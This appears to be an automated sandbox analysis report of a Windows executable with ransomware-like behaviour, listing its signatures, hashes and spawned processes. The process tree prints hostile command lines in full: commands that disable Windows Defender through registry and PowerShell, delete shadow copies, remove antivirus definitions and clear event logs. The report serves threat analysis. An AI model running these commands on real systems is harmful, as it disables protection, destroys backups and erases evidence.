Resubmissions

13-01-2022 14:14

220113-rj8ymsagb4 10

13-01-2022 11:04

220113-m6crhahfgj 10

13-01-2022 10:58

220113-m3a4hahef9 10

Analysis

  • max time kernel
    25s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    13-01-2022 10:58

General

  • Target

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe

  • Size

    2.5MB

  • MD5

    8fdfa1997b566f6e086c29e33935dcc5

  • SHA1

    178fbe1c8fc1a6e3440215d668797699f94a4bef

  • SHA256

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68

  • SHA512

    b185d1080c62f59ff26592321bf2a5cb85556260f34f59726cc9d5aeed1f82a48c710e8decd1212ddc2e4ca371ba83ad3aca6bf34587ddc73cc9c90afec467d5

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe
    "C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:460
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:1200
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1412
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1392
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:1040
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:688
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1072
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:720
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:1456
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1136
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1260
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1820
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1660
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:608
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1548
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:1164
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1844
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1708
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:968
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1064
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:1988
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:888
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:2036
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:616
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:1072
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1144
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:656
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:1248
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:952
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:836
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1716
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:288
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:792
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1924
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1712
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:1680
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:880
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:1156
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1260
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:1348
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:1508
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:572
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1060
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:2024
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:812
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1808
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:992
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:2032
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:1736
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:1604
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:432
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:1768
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:2028
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1332
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:996
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:1720
                                                                                                    • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:1528
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1800
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1084
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1920
                                                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2064
                                                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2112
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:2196
                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                          3⤵
                                                                                                          • Deletes Windows Defender Definitions
                                                                                                          PID:2220
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:2232
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2252
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          2⤵
                                                                                                            PID:2312
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:2332

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                                                                                                          MD5

                                                                                                          8ca131ef5aa05a74a43e8883d0c9671a

                                                                                                          SHA1

                                                                                                          8335d07a953b60386e03c90011cd95b24cf5d40a

                                                                                                          SHA256

                                                                                                          d34432df10d2131663378f26d14eb8b1e315bcc49beac4cc7fa4d33cd64433bb

                                                                                                          SHA512

                                                                                                          76863c19096f5dedffc7cb691b184360ebd485841952f244ab0becb3b3b2dfaf8e9e04379629d6389e8789a4486520918fe8627c78345c560e14bea9bfa0bfb7

                                                                                                        • memory/288-87-0x0000000000000000-mapping.dmp

                                                                                                        • memory/432-106-0x0000000000000000-mapping.dmp

                                                                                                        • memory/460-55-0x0000000000000000-mapping.dmp

                                                                                                        • memory/572-97-0x0000000000000000-mapping.dmp

                                                                                                        • memory/608-69-0x0000000000000000-mapping.dmp

                                                                                                        • memory/616-79-0x0000000000000000-mapping.dmp

                                                                                                        • memory/656-82-0x0000000000000000-mapping.dmp

                                                                                                        • memory/688-61-0x0000000000000000-mapping.dmp

                                                                                                        • memory/720-63-0x0000000000000000-mapping.dmp

                                                                                                        • memory/792-88-0x0000000000000000-mapping.dmp

                                                                                                        • memory/812-100-0x0000000000000000-mapping.dmp

                                                                                                        • memory/836-85-0x0000000000000000-mapping.dmp

                                                                                                        • memory/880-92-0x0000000000000000-mapping.dmp

                                                                                                        • memory/888-77-0x0000000000000000-mapping.dmp

                                                                                                        • memory/952-84-0x0000000000000000-mapping.dmp

                                                                                                        • memory/968-74-0x0000000000000000-mapping.dmp

                                                                                                        • memory/992-102-0x0000000000000000-mapping.dmp

                                                                                                        • memory/996-110-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1040-60-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1060-98-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1064-75-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1072-80-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1072-62-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1084-114-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1136-65-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1144-81-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1156-93-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1164-71-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1200-56-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1248-83-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1260-66-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1260-94-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1332-109-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1348-95-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1392-58-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1400-59-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1412-57-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1456-64-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1508-96-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1528-112-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1548-70-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1604-105-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1660-68-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1680-91-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1708-73-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1712-90-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1716-86-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1720-111-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1736-104-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1768-107-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1800-113-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1808-101-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1820-67-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1844-72-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1920-115-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1924-89-0x0000000000000000-mapping.dmp

                                                                                                        • memory/1988-76-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2024-99-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2028-108-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2032-103-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2036-78-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2064-116-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2112-117-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2196-118-0x0000000000000000-mapping.dmp

                                                                                                        • memory/2252-121-0x0000000002640000-0x000000000328A000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/2252-122-0x0000000002640000-0x000000000328A000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/2252-120-0x0000000002640000-0x000000000328A000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/2252-119-0x0000000076371000-0x0000000076373000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/2332-127-0x0000000002370000-0x0000000002FBA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/2332-125-0x0000000002370000-0x0000000002FBA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/2332-126-0x0000000002370000-0x0000000002FBA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB